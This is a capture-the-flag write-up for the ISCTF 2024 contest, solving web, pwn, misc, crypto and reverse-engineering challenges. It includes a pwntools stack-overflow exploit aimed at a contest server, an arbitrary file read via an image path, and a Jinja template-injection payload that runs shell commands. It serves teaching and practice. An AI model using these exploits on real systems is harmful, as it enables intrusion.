
将payload POST过去之后直接反弹shell,连接上就能cat flag。

小蓝鲨的书店

注意,本题我使用非预期解

这个题我直接用SourceLeakSearcher扫出题目源码了,不知道是不是预期的

直接审计代码,发现居然用的是THINKPHP 5.0.23,这个版本有一个严重的RCE漏洞,但经过我测试此漏洞已被修复。

在Index.php中发现它会在捐赠图书时上传image_path,而在读取书籍时将会读取image_path的文件,这就存在了任意文件读取的漏洞。

可以看到,参数image_path传入的是绝对文件路径/var/www/html/application/index/view/index/photos/index.jpg

由于前面有道题的附件里面有一个start.sh,我直接如法炮制去读这个start.sh,还真让我读到了:

data:image/png;base64, IyEvYmluL2Jhc2gKCm15c3FsZF9zYWZlICYKCm15c3FsX3JlYWR5KCkgewoJbXlzcWxhZG1pbiBwaW5nIC0tc29ja2V0PS9ydW4vbXlzcWxkL215c3FsZC5zb2NrIC0tdXNlcj1yb290IC0tcGFzc3dvcmQ9cm9vdCA+IC9kZXYvbnVsbCAyPiYxCn0KCndoaWxlICEobXlzcWxfcmVhZHkpCmRvCgllY2hvICJ3YWl0aW5nIGZvciBteXNxbCAuLi4iCglzbGVlcCAzCmRvbmUKCm15c3FsIC1lICJBTFRFUiBVU0VSICdyb290J0AnbG9jYWxob3N0JyBJREVOVElGSUVEIFdJVEggbXlzcWxfbmF0aXZlX3Bhc3N3b3JkIEJZICdyb290JztmbHVzaCBwcml2aWxlZ2VzOyIgLXVyb290IC1wcm9vdAoKaWYgW1sgLWYgL2RiLnNxbCBdXTsgdGhlbgogICAgbXlzcWwgLWUgInNvdXJjZSAvZGIuc3FsIiAtdXJvb3QgLXByb290CiAgICBybSAtZiAvZGIuc3FsCmZpCgppZiBbWyAtZiAvZmxhZy5zaCBdXTsgdGhlbgoJc291cmNlIC9mbGFnLnNoCmZpCgphcGFjaGUyLWZvcmVncm91bmQK

base64解码后
#!/bin/bash

mysqld_safe &

mysql_ready() {
    mysqladmin ping --socket=/run/mysqld/mysqld.sock --user=root --password=root > /dev/null 2>&1
}

while !(mysql_ready)
do
    echo "waiting for mysql ..."
    sleep 3
done

mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';flush privileges;" -uroot -proot

if [[ -f /db.sql ]]; then
    mysql -e "source /db.sql" -uroot -proot
    rm -f /db.sql
fi

if [[ -f /flag.sh ]]; then
    source /flag.sh
fi

apache2-foreground

可以看到此题应该是考SQL注入,但我们通过这个方法也能拿到flag。

我们接下来再读/flag.sh

data:image/png;base64, IyEvYmluL2Jhc2gKZWNobyAkRkxBRyA+IC90dHR0dHR0dHR0cHNxbF9mbGFnCmV4cG9ydCBGTEFHPW5vdF9mbGFnCkZMQUc9bm90X2ZsYWcKcm0gZmxhZy5zaA==

#!/bin/bash
echo $FLAG > /ttttttttttpsql_flag
export FLAG=not_flag
FLAG=not_flag
rm flag.sh

OK,那么flag就放在/ttttttttttpsql_flag,可以直接读取了!

data:image/png;base64, SVNDVEZ7Yjg5ZWU2ZGItNGVjNy00MGJiLTg4YmMtNGMxYjJmZGM5NThkfQo=

那么这就暴露了这个CTF平台存在的一个漏洞,可以让ctfer直接用这个方法读到flag,从而实现非预期解。

当然,thinkphp这个平台的漏洞也是数不胜数,网上也有其他人挖掘了其他漏洞的。

实际上本题的考点是通过首页的搜索框进行SQL注入来拿到flag

二、Pwn

NatCat

NC链接服务器即可回显flag

girlfriend

拖进IDA看一看

一个非常简单的栈溢出

先通过read() 覆盖掉s1使其为admin后进入vuln函数

可以看到**v1 数组是一个大小为 5 的 _QWORD 类型数组(每个元素为 8 字节,表示一个 64 位整数),即 v1 的总内存大小是 40 字节。

  • for (i = 0LL; i <= 7; ++i) 循环从 i = 0i = 7,总共循环 8 次。

  • 问题:数组 v1 仅有 5 个元素(v1[0]v1[4]),但 i 的范围从 0 到 7,意味着当 i >= 5 时,代码会越过 v1 数组的边界,访问无效或意外的内存区域。

  • 缓冲区溢出漏洞:当 i 达到 5、6、7 时,v1[i] 超出了数组的定义范围,这会导致 缓冲区溢出

只需要在输入第七次生日的时候传入amaze函数的地址 使其跳转至amaze函数即可

exp

from pwn import *
port = 39500
def main():
    p = remote("27.25.151.12", port)
    payload = b'a' * 40 + b'admin'
    p.recvuntil(b'id')
    p.send(payload)

    for i in range(6):
        p.recvuntil(b'birthday')
        payload = b'6'
        p.sendline(payload)

    p.recvuntil(b'birthday')
    payload = b'4198942'
    p.sendline(payload)
    p.send(b'cat flag\n')
    p.interactive()
main()
[x] Opening connection to 27.25.151.12 on port 39500
[x] Opening connection to 27.25.151.12 on port 39500: Trying 27.25.151.12
[+] Opening connection to 27.25.151.12 on port 39500: Done
[*] Switching to interactive mode

ISCTF{3093e06d-4c43-48d9-bc99-bd74aa895968}

ezgame

拿到附件后把elf拖ida里看

这道题虽然说gets可以作为一个利用点,但我发现seed已经被置为1了,所以说我们直接写调用算出这2w个伪随机数

由于前面有个alarm,要在15秒内把这两万个随机数发完,一开始想的是否能覆盖i的值,后面发现for循环运行时先会把i置0,作为pwn低手没有别的办法,后面想了个招:

一次性把两万个随机数生成,然后用\n拼接后直接发过去,没想到还真可以

最后直接进入getshell函数,ls + cat flag。

三、Misc

问卷

。。。

小蓝鲨的签到02

010打开 文件尾即Flag

CTF{blueshark!_@#2024$%^&*}

数字迷雾:在像素中寻找线索

stegsolve隐写 ISCTF{+9qn1DKdun!gl}

游园地1

百度识图找到

武汉中山公园

ISCTF{湖北省_武汉市_江汉区_中山公园}

游园地2

图片能看到的 山崎居酒屋 库迪咖啡 小红书搜一下山崎居酒屋

再根据店面对比一下 找到

圣地巡礼地图找到

ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}

小蓝鲨的签到01

拼起来关注微信公众号即可

ISCTF{Welcome_to_blueshark}

少女的秘密花园

文件尾后有压缩包数据 提出来base_misc.zip加密的

爆破一下密码

040714

解压出flag.txt base64解码得到一张图片

发现图片不完整 宽高修复

对照盲文解密即可 红色的图像是数字

赢!rar

给出了压缩包密码 解压 没发现什么信息

分析一下压缩包

发现有一段NTFS数据流

ntfsstreamseditor扫一下

KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++

XXencode解码 -> ISCTF{Beat_SfTian!!!!}

老八奇怪自拍照

颜色不太对劲 stegsolve看一看

发现 R5 G2 B1的图像有问题

提出来数据 是一个压缩包

提示压缩包损坏 删掉多余数据后解压出图片

查看属性

1ScTf2024! 推测是解密的key

stegdetect看一下 是steghide

解密

File_Format

Win自解压程序 爆破密码

ISCTF{WinACE_is_Easy_Subject_0v0}

watermark

key2.png为单盲水印

key2:64oRvUfta9yJsBv

key1.txt为文字盲水印

key1:FAAqDPjpgKJiB6m

key:FAAqDPjpgKJiB6m64oRvUfta9yJsBv 解密压缩包

ISCTF{Watermark_is_used_2_protect%digital*assets}

秘密

zip伪加密先修复了 提取出jpg

文件名猜测OurSecret隐写

010看数据

0宽

ISCTF{Nic3_t0_m33t_you}

奇怪的txt

约瑟夫环问题 编写exp代码

import base64

def josephus_circle(num_files, step):
    files = list(range(1, num_files + 1))  # 文件编号从1到137
    result = []  # 用于存放挑选的文件编号
    index = 0  # 起始位置

    # 进行约瑟夫环的数数与挑选过程
    while files:
        index = (index + step - 1) % len(files)  # 计算挑选的位置
        result.append(files.pop(index))  # 将文件编号加入结果并从列表中移除

    return result

# 调用约瑟夫环函数得到文件顺序
selected_files = josephus_circle(137, 7)

# 创建输出文件
with open("flag.txt", "w", encoding="utf-8") as output_file:
    for file_number in selected_files:
        file_name = f"txt/{file_number}.txt"
        try:
            # 读取每个文件的内容
            with open(file_name, "r", encoding="utf-8") as f:
                content = f.read().replace(" ", "") 
                content = "\n".join([line for line in content.splitlines() if line])  # 删除所有空行
                # 写入到输出文件中
                output_file.write(content + "\n")
        except FileNotFoundError:
            print(f"Warning: {file_name} not found and will be skipped.")
def recursive_base64_decode(encoded_content):
    try:
        # 尝试解码
        decoded_content = base64.b64decode(encoded_content)

        # 将解码后的内容转换为字符串
        decoded_str = decoded_content.decode('utf-8')

        # 递归解码
        if "==" in decoded_str or len(decoded_str) % 4 == 0:
            return recursive_base64_decode(decoded_str)
        else:
            return decoded_content

    except Exception as e:
        return decoded_content

with open('flag.txt', 'r') as file:
    encoded_content = file.read()

# 递归解码
decoded_content = recursive_base64_decode(encoded_content)

print("FLAG:", decoded_content.decode('utf-8'))
FLAG: ISCTF{@!98sw-&^si92-2$#334-2024!!}

神秘ping

下载文件 发现是倒序 正过来

因为题目是ping 筛选出来ping的信息 能用来传递数据的似乎也就只有ttl了 提取一下

重新编码一下

63 -> 00 127 -> 01 191 -> 10 255 -> 11

ISCTF{h1De_1n_TtL}

像素圣战

PixelJihad解密 密码为ISCTF(题目描述)

10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001

题目描述:旋转

给他倒序一下 再转ASCII

ISCTF{R3verse6_b1n4ry_l0l}

starry sky

[email protected] 打开发现是base64数据 解密得到图片

查看图片文件尾 XORKEY:FF

对xor文件进行xor运算,key为FF 得到xor.wav文件

使用MMSSTV进行数据转换 得到DESKEY

YanHuoLG

对flag.txt进行des解密即可

ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}

神秘的wav

exp代码

import wave
import numpy as np
import os

# 创建一个静音音频文件
def create_silent_wav(file_name, duration_seconds, sample_rate=44100, bit_depth=16):
    num_samples = duration_seconds * sample_rate

    # 根据位深度选择数据类型
    if bit_depth == 16:
        max_amplitude = 32767  # 16-bit PCM的最大振幅
        dtype = np.int16
    elif bit_depth == 8:
        max_amplitude = 127  # 8-bit PCM的最大振幅
        dtype = np.int8
    else:
        raise ValueError("Unsupported bit depth")

    # 创建一个全为0的音频数据,表示静音
    samples = np.zeros(num_samples, dtype=dtype)

    # 创建.wav文件
    with wave.open(file_name, 'wb') as wav_file:
        wav_file.setnchannels(1)  # 单声道
        wav_file.setsampwidth(bit_depth // 8)  # 每个样本的字节数
        wav_file.setframerate(sample_rate)  # 采样率
        wav_file.writeframes(samples.tobytes())  # 写入静音数据

    print(f"{file_name} created successfully!")

# 将文本嵌入到音频文件的第二最低有效位
def embed_message(audio_file, message, output_file):
    with wave.open(audio_file, 'rb') as wav:
        frames = wav.readframes(wav.getnframes())

    frames_array = bytearray(frames)

    # 将消息转换为二进制
    message_bits = ''.join(format(ord(c), '08b') for c in message)
    message_bits += '00000000'  # 结束符,用00结束

    if len(message_bits) > len(frames_array):
        raise ValueError("Message is too large to fit in the audio file.")

    # 嵌入消息到第二最低有效位
    for i in range(len(message_bits)):
        frames_array[i] &= 0b11111101  # 清除第二最低有效位
        frames_array[i] |= (int(message_bits[i]) << 1)  # 将消息位嵌入第二最低有效位

    # 保存修改后的音频文件
    with wave.open(output_file, 'wb') as wav_out:
        wav_out.setnchannels(1)  # 单声道
        wav_out.setsampwidth(2)  # 16-bit深度
        wav_out.setframerate(44100)  # 采样率
        wav_out.writeframes(frames_array)

    print(f"Message embedded successfully into {output_file}")

def ext(inp):
    with wave.open(inp, 'rb') as wav:
        frames = wav.readframes(wav.getnframes())
    frames_array = bytearray(frames)
    message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
    message = ''
    for i in range(0, len(message_bits), 8):
        byte = message_bits[i:i+8]
        char = chr(int(''.join(byte), 2))
        if char == '\x00':
            break
        message += char
    return message

# 测试流程
def test():
    # 生成静音音频文件
    create_silent_wav('silent_audio.wav', duration_seconds=5, sample_rate=44100, bit_depth=16)

    # 要隐藏的文本消息
    message = "{{[].__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__['eval'](\"__import__('os').popen(\'cd ../../../../../ && cat flag\').read()\")}}"

    # 嵌入文本到音频文件
    embed_message('silent_audio.wav', message, 'output_with_message.wav')

    # 从修改后的音频文件中提取消息
    extracted_message = ext('output_with_message.wav')
    print(f"Extracted Message: {extracted_message}")

if __name__ == "__main__":
    test()

原理是网站对音频中的数据进行提取后渲染出来 构造一个payload使其执行即可

来自天外的信息

根据文件名,对文件进行解调

import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import decimate
from scipy.io.wavfile import write

file_path = 'fm-complex64-sample_rate-320khz-dec_ratio-20_1'
data = np.fromfile(file_path, dtype=np.complex64)

decimation_factor = 20  # 320 kHz / 20 = 16 kHz (音频采样率)
data_dec = decimate(data, decimation_factor)

angle_diff = np.angle(data_dec[1:] * np.conj(data_dec[:-1]))

audio_data = np.int16((angle_diff / np.max(np.abs(angle_diff))) * 32767)

output_path = 'fm_demodulated_audio.wav'
sample_rate = 16000
write(output_path, sample_rate, audio_data)

print(f"解调后的音频已保存为: {output_path}")

对解调后的音频进行MMSSTV转换

将四部分图片和space后的二维码定位角抠出来拼一下

微信扫描即可获得flag

冷知识:微信的扫码有自己的AI模型优化,所以真的挺强悍的!

ISCTF{Th3_ROmaNtic_Of_Rad1o}

四、Crypto

我和小蓝鲨的秘密

加密代码:

from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np

n = 29869349657224745144762606999
e = 65537

original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")

img_array = np.array(img)
h, w, _ = img_array.shape

encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
    for j in range(w):
        r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])

        encrypted_array[i, j, 0] = pow(r, e, n)
        encrypted_array[i, j, 1] = pow(g, e, n)
        encrypted_array[i, j, 2] = pow(b, e, n)

np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")

解密代码:

import numpy as np
from PIL import Image
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from sympy import factorint

# 定义 RSA 参数
n = 29869349657224745144762606999
e = 65537

def factorize_n(n):
    # 使用现有库来进行质因数分解
    factors = factorint(n)
    if len(factors) == 2:  # 确保 n 有且仅有两个质因子
        p, q = list(factors.keys())
        return p, q
    return None, None

# 计算 d
def calculate_private_key(p, q, e):
    # 计算欧拉函数 ϕ(n) = (p - 1) * (q - 1)
    phi_n = (p - 1) * (q - 1)
    # 使用扩展欧几里得算法计算 d
    d = inverse(e, phi_n)
    return d

# 质因数分解 n
p, q = factorize_n(n)
if p is None or q is None:
    print("未能成功分解 n 为质因数")
else:
    print(f"n = {n} 的质因数为 p = {p}, q = {q}")
    # 计算私钥 d
    d = calculate_private_key(p, q, e)
    print(f"计算得到的私钥 d = {d}")

    # 加载加密图像数据
    encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)

    # 获取图像的高度和宽度
    h, w, _ = encrypted_array.shape

    # 使用numpy的object类型来处理大整数
    encrypted_array = encrypted_array.astype(object)  # 使用 object 类型来存储大整数
    decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)  # 解密后的图像存储

    # 使用向量化方法解密图像
    for i in range(h):
        for j in range(w):
            # 解密每个像素的 RGB 值
            for k in range(3):
                encrypted_pixel_value = encrypted_array[i, j, k]
                decrypted_pixel_value = pow(encrypted_pixel_value, d, n) % 256
                decrypted_array[i, j, k] = decrypted_pixel_value

    # 将解密后的图像数组转换为图像
    decrypted_image = Image.fromarray(decrypted_array)

    # 保存解密后的图像
    decrypted_image.save("decrypted_flag.jpg")
    print("图片已解密并保存为 decrypted_flag.jpg")
n = 29869349657224745144762606999 的质因数为 p = 186431677583461, q = 160216064374859
计算得到的私钥 d = 14529273505388659836222611033
图片已解密并保存为 decrypted_flag.jpg

ChaCha20-Poly1305

from Crypto.Cipher import ChaCha20_Poly1305
import os

key = os.urandom(32)
nonce = os.urandom(12)

with open('flag.txt', 'rb') as f:
    plaintext = f.read()

cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

ct, tag = cipher.encrypt_and_digest(plaintext)

print(f"Encrypted Flag: {ct.hex()}")
print(f"Tag: {tag.hex()}")
print(f"Nonce: {nonce.hex()}")

with open('key.txt', 'w') as key_file:
    key_file.write(key.hex())

直接调用了ChaCha20加密

调用解密函数即可

from Crypto.Cipher import ChaCha20_Poly1305

key = bytes.fromhex("173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135")
ciphertext = bytes.fromhex("20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb")
tag = bytes.fromhex("70ffcc508bf4519e7616f602123c307b")
nonce = bytes.fromhex("d8ebeedec812a6d71240cc50")

cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"Decrypted Flag: {plaintext.decode()}")
Decrypted Flag: ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}

小蓝鲨的密码

打开图片,

路在脚下,猜测压缩包密码为文件名bluesharkinfo

提取出一个密码字典

遍历即可

ISCTF{good!_Welcome_blueshark!!!}

五、Re

Ezre

exp:

def decrypt_flag(encrypted_flag, key):
    decrypted_flag = []
    key_length = len(key)

    for i, char in enumerate(encrypted_flag):
        if 'A' <= char <= 'Z':  # 仅处理大写字母
            encrypted_ascii = ord(char)
            key_ascii = ord(key[i % key_length])
            # 减去 key 对应的字符值,并调整到范围内
            decrypted_ascii = (encrypted_ascii - key_ascii) % 26 + ord('A')
            decrypted_flag.append(chr(decrypted_ascii))
        else:
            # 非大写字母直接保留
            decrypted_flag.append(char)

    return ''.join(decrypted_flag)


if __name__ == "__main__":
    encrypted_flag = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
    key = "ISCTF"

    decrypted_flag = decrypt_flag(encrypted_flag, key)
    print("解密后的 flag:", decrypted_flag)
ISCTF{7HI5_i5_R3AllY_3z_R3}

py不好,会被ban

下载附件,一看这icon就知道是pyInstaller打包的,我们直接用pyinstxtractor解包。

用uncompyle6尝试解码,发现是python3.12编写,没法直接看代码,所以我们用pycdas读字节码来分析。

可以发现里面只有两个函数:main 和 verify

我们先看main:

 [Code]
            File Name: main.py
            Object Name: main
            Qualified Name: main
            Arg Count: 0
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 6
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'print'
                'input'
                'len'
                'ord'
                'verify'
            [Locals+Names]
                'language'
                'OO000'
                'language1'
                'OOO00'
                'len1'
                'itemm'
                'item'
            [Constants]
                None
                'Y0u k0nw what is the best language in the world???'
                ''
                'is_.py_not_py'
                'goOo0od!!!'
                'So,th3n???'
                True
                'very goOo0od!!!'
                'What a pity!!!T_T'
                'NoOo0o!!!T_T'
            [Disassembly]
                0       RESUME                          0
                2       LOAD_GLOBAL                     1: NULL + print
                12      LOAD_CONST                      1: 'Y0u k0nw what is the best language in the world???'
                14      CALL                            1
                22      POP_TOP
                24      LOAD_GLOBAL                     3: NULL + input
                34      CALL                            0
                42      STORE_FAST                      0: language
                44      BUILD_LIST                      0
                46      STORE_FAST                      1: OO000
                48      BUILD_LIST                      0
                50      STORE_FAST                      2: language1
                52      LOAD_CONST                      2: ''
                54      STORE_FAST                      3: OOO00
                56      LOAD_FAST                       0: language
                58      LOAD_CONST                      3: 'is_.py_not_py'
                60      COMPARE_OP                      40 (==)
                64      POP_JUMP_IF_FALSE               130 (to 326)
                66      LOAD_GLOBAL                     1: NULL + print
                76      LOAD_CONST                      4: 'goOo0od!!!'
                78      CALL                            1
                86      POP_TOP
                88      LOAD_GLOBAL                     1: NULL + print
                98      LOAD_CONST                      5: 'So,th3n???'
                100     CALL                            1
                108     POP_TOP
                110     LOAD_GLOBAL                     3: NULL + input
                120     CALL                            0
                128     STORE_FAST                      3: OOO00
                130     LOAD_GLOBAL                     5: NULL + len
                140     LOAD_FAST                       3: OOO00
                142     CALL                            1
                150     STORE_FAST                      4: len1
                152     LOAD_FAST                       0: language
                154     GET_ITER
                156     LOAD_FAST_AND_CLEAR             5: itemm
                158     SWAP                            2
                160     BUILD_LIST                      0
                162     SWAP                            2
                164     FOR_ITER                        13 (to 192)
                168     STORE_FAST                      5: itemm
                170     LOAD_GLOBAL                     7: NULL + ord
                180     LOAD_FAST                       5: itemm
                182     CALL                            1
                190     LIST_APPEND                     2
                192     JUMP_BACKWARD                   15 (to 164)
                194     END_FOR
                196     STORE_FAST                      2: language1
                198     STORE_FAST                      5: itemm
                200     LOAD_FAST                       3: OOO00
                202     GET_ITER
                204     LOAD_FAST_AND_CLEAR             6: item
                206     SWAP                            2
                208     BUILD_LIST                      0
                210     SWAP                            2
                212     FOR_ITER                        13 (to 240)
                216     STORE_FAST                      6: item
                218     LOAD_GLOBAL                     7: NULL + ord
                228     LOAD_FAST                       6: item
                230     CALL                            1
                238     LIST_APPEND                     2
                240     JUMP_BACKWARD                   15 (to 212)
                242     END_FOR
                244     STORE_FAST                      1: OO000
                246     STORE_FAST                      6: item
                248     LOAD_GLOBAL                     9: NULL + verify
                258     LOAD_FAST                       1: OO000
                260     LOAD_FAST                       4: len1
                262     LOAD_FAST                       2: language1
                264     CALL                            3
                272     LOAD_CONST                      6: True
                274     IS_OP                           0 (is)
                276     POP_JUMP_IF_FALSE               12 (to 302)
                278     LOAD_GLOBAL                     1: NULL + print
                288     LOAD_CONST                      7: 'very goOo0od!!!'
                290     CALL                            1
                298     POP_TOP
                300     RETURN_CONST                    0: None
                302     LOAD_GLOBAL                     1: NULL + print
                312     LOAD_CONST                      8: 'What a pity!!!T_T'
                314     CALL                            1
                322     POP_TOP
                324     RETURN_CONST                    0: None
                326     LOAD_GLOBAL                     1: NULL + print
                336     LOAD_CONST                      9: 'NoOo0o!!!T_T'
                338     CALL                            1
                346     POP_TOP
                348     RETURN_CONST                    0: None
                350     SWAP                            2
                352     POP_TOP
                354     SWAP                            2
                356     STORE_FAST                      5: itemm
                358     RERAISE                         0
                360     SWAP                            2
                362     POP_TOP
                364     SWAP                            2
                366     STORE_FAST                      6: item
                368     RERAISE                         0
        '__main__'
        None
    [Disassembly]
        0       RESUME                          0
        2       LOAD_CONST                      0: <CODE> verify
        4       MAKE_FUNCTION                   0
        6       STORE_NAME                      0: verify
        8       LOAD_CONST                      1: <CODE> main
        10      MAKE_FUNCTION                   0
        12      STORE_NAME                      1: main
        14      LOAD_NAME                       2: __name__
        16      LOAD_CONST                      2: '__main__'
        18      COMPARE_OP                      40 (==)
        22      POP_JUMP_IF_FALSE               8 (to 40)
        24      PUSH_NULL
        26      LOAD_NAME                       1: main
        28      CALL                            0
        36      POP_TOP
        38      RETURN_CONST                    3: None
        40      RETURN_CONST                    3: None

分析前半部分:输出'Y0u k0nw what is the best language in the world???'

判断输入是否为is_.py_not_py,是就进入下一个逻辑,否就退出。那么我们第一个解就是is_.py_not_py。

 2       LOAD_GLOBAL                     1: NULL + print
                12      LOAD_CONST                      1: 'Y0u k0nw what is the best language in the world???'
                14      CALL                            1
                22      POP_TOP
                24      LOAD_GLOBAL                     3: NULL + input
                34      CALL                            0
                42      STORE_FAST                      0: language
                44      BUILD_LIST                      0
                46      STORE_FAST                      1: OO000
                48      BUILD_LIST                      0
                50      STORE_FAST                      2: language1
                52      LOAD_CONST                      2: ''
                54      STORE_FAST                      3: OOO00
                56      LOAD_FAST                       0: language
                58      LOAD_CONST                      3: 'is_.py_not_py'
                60      COMPARE_OP                      40 (==)
                64      POP_JUMP_IF_FALSE               130 (to 326)
                66      LOAD_GLOBAL                     1: NULL + print
                76      LOAD_CONST                      4: 'goOo0od!!!'

接下来是第二个解。第二个解直接涉及到verify函数,我们来分析verify:

        [Code]
            File Name: main.py
            Object Name: verify
            Qualified Name: verify
            Arg Count: 3
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 9
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'range'
                'reverse'
                'len'
            [Locals+Names]
                'o0000'
                'len2'
                'language2'
                'enc'
                'i'
                'ii'
                'iii'
                'iiii'
            [Constants]
                None
                (
                    25
                    85
                    88
                    62
                    105
                    93
                    110
                    124
                    1
                    97
                    46
                    47
                    75
                    5
                    116
                    48
                    2
                    25
                )
                1
                False
                True
            [Disassembly]
                0       RESUME                          0
                2       BUILD_LIST                      0
                4       LOAD_CONST                      1: (25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25)
                6       LIST_EXTEND                     1
                8       STORE_FAST                      3: enc
                10      LOAD_GLOBAL                     1: NULL + range
                20      LOAD_FAST                       1: len2
                22      LOAD_CONST                      2: 1
                24      BINARY_OP                       10 (-)
                28      CALL                            1
                36      GET_ITER
                38      FOR_ITER                        19 (to 78)
                42      STORE_FAST                      4: i
                44      LOAD_FAST                       0: o0000
                46      LOAD_FAST                       4: i
                48      BINARY_SUBSCR
                52      LOAD_FAST                       0: o0000
                54      LOAD_FAST                       4: i
                56      LOAD_CONST                      2: 1
                58      BINARY_OP                       0 (+)
                62      BINARY_SUBSCR
                66      BINARY_OP                       12 (^)
                70      LOAD_FAST                       0: o0000
                72      LOAD_FAST                       4: i
                74      STORE_SUBSCR
                78      JUMP_BACKWARD                   21 (to 38)
                80      END_FOR
                82      LOAD_FAST                       0: o0000
                84      LOAD_ATTR                       3: reverse
                104     CALL                            0
                112     POP_TOP
                114     LOAD_GLOBAL                     1: NULL + range
                124     LOAD_FAST                       1: len2
                126     LOAD_CONST                      2: 1
                128     BINARY_OP                       10 (-)
                132     CALL                            1
                140     GET_ITER
                142     FOR_ITER                        19 (to 182)
                146     STORE_FAST                      5: ii
                148     LOAD_FAST                       0: o0000
                150     LOAD_FAST                       5: ii
                152     BINARY_SUBSCR
                156     LOAD_FAST                       0: o0000
                158     LOAD_FAST                       5: ii
                160     LOAD_CONST                      2: 1
                162     BINARY_OP                       0 (+)
                166     BINARY_SUBSCR
                170     BINARY_OP                       12 (^)
                174     LOAD_FAST                       0: o0000
                176     LOAD_FAST                       5: ii
                178     STORE_SUBSCR
                182     JUMP_BACKWARD                   21 (to 142)
                184     END_FOR
                186     LOAD_GLOBAL                     1: NULL + range
                196     LOAD_FAST                       1: len2
                198     CALL                            1
                206     GET_ITER
                208     FOR_ITER                        30 (to 270)
                212     STORE_FAST                      6: iii
                214     LOAD_FAST                       0: o0000
                216     LOAD_FAST                       6: iii
                218     COPY                            2
                220     COPY                            2
                222     BINARY_SUBSCR
                226     LOAD_FAST                       2: language2
                228     LOAD_FAST                       6: iii
                230     LOAD_GLOBAL                     5: NULL + len
                240     LOAD_FAST                       2: language2
                242     CALL                            1
                250     BINARY_OP                       6 (%)
                254     BINARY_SUBSCR
                258     BINARY_OP                       25 (^=)
                262     SWAP                            3
                264     SWAP                            2
                266     STORE_SUBSCR
                270     JUMP_BACKWARD                   32 (to 208)
                272     END_FOR
                274     LOAD_GLOBAL                     1: NULL + range
                284     LOAD_FAST                       1: len2
                286     CALL                            1
                294     GET_ITER
                296     FOR_ITER                        15 (to 328)
                300     STORE_FAST                      7: iiii
                302     LOAD_FAST                       0: o0000
                304     LOAD_FAST                       7: iiii
                306     BINARY_SUBSCR
                310     LOAD_FAST                       3: enc
                312     LOAD_FAST                       7: iiii
                314     BINARY_SUBSCR
                318     COMPARE_OP                      55 (!=)
                322     POP_JUMP_IF_TRUE                1 (to 326)
                324     JUMP_BACKWARD                   15 (to 296)
                326     POP_TOP
                328     RETURN_CONST                    3: False
                330     END_FOR
                332     RETURN_CONST                    4: True

如果看着麻烦,直接让ChatGPT来好了:

这个 verify 函数的字节码可以用以下Python代码来表示。以下是分解后的逻辑步骤和完整的Python代码表示:

分解步骤

  1. **初始化列表 ****enc**:

  • 创建一个列表 enc,包含一组常量整数(可能用于后续的验证)。

  1. 双重循环XOR处理:

  • 第一次循环:遍历 o0000 中的元素,并逐个应用 XOR 操作。每个元素 o0000[i] 会与 o0000[i+1] 进行 XOR,结果存储回 o0000[i]

  • 第二次循环o0000 列表被逆序排列后,再次对其进行相同的 XOR 处理。

  1. **第三次循环基于 ****language2**:

  • 遍历 o0000 的每个元素,将每个元素与 language2 列表中的相应元素(基于模运算 % 的索引)进行 XOR 运算,并将结果存储回 o0000[i]

  1. **enc** 对比:

  • 遍历 o0000enc,逐元素比对。如果任何元素不匹配,返回 False。如果所有元素匹配,返回 True

完整Python代码表示

以下是对 verify 函数字节码的等价Python代码

解释

  • 这段代码利用多次 XOR 操作和与 enc 列表的最终比对来验证输入。

  • 如果 o0000 列表在每个步骤后符合预期并最终匹配 enc 列表,则返回 True,否则返回 False

以上是gpt的回答,可以看到字节码直接被转换为python代码,非常易读。

也就是说这个算法与xor有关,那我们分析其流程,就能写出rev.py

def reverse_verify(enc, language2):
    len2 = len(enc)  # 假设 o0000 的长度与 enc 相同
    o0000 = enc[:]   # 初始化为 enc 的拷贝,用于逐步还原

    # 第三次 XOR 循环的逆运算
    for iii in range(len2):
        o0000[iii] ^= language2[iii % len(language2)]
    
    # 第二次 XOR 循环的逆运算(在反转顺序前执行)
    for ii in reversed(range(len2 - 1)):
        o0000[ii] ^= o0000[ii + 1]
    
    # 反转 o0000 列表
    o0000.reverse()
    
    # 第一次 XOR 循环的逆运算
    for i in reversed(range(len2 - 1)):
        o0000[i] ^= o0000[i + 1]
    
    return o0000

使用方法

# 假设 language2 已知或我们可以提供一个样例
language2 = [ord(c) for c in "is_.py_not_py"]
enc = [25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25]

# 运行逆向函数
o0000 = reverse_verify(enc, language2)

# 输出 o0000 的 ASCII 字符串
o0000_str = ''.join(chr(x) for x in o0000)
print("逆向得到的字符串:", o0000_str)

最后输出结果:Y0u_r3@l1y_knOw_py

输入exe,显示成功,得到flag:ISCTF{Y0u_r3@l1y_knOw_py}

© 本文著作权归作者所有,未经许可不得转载使用。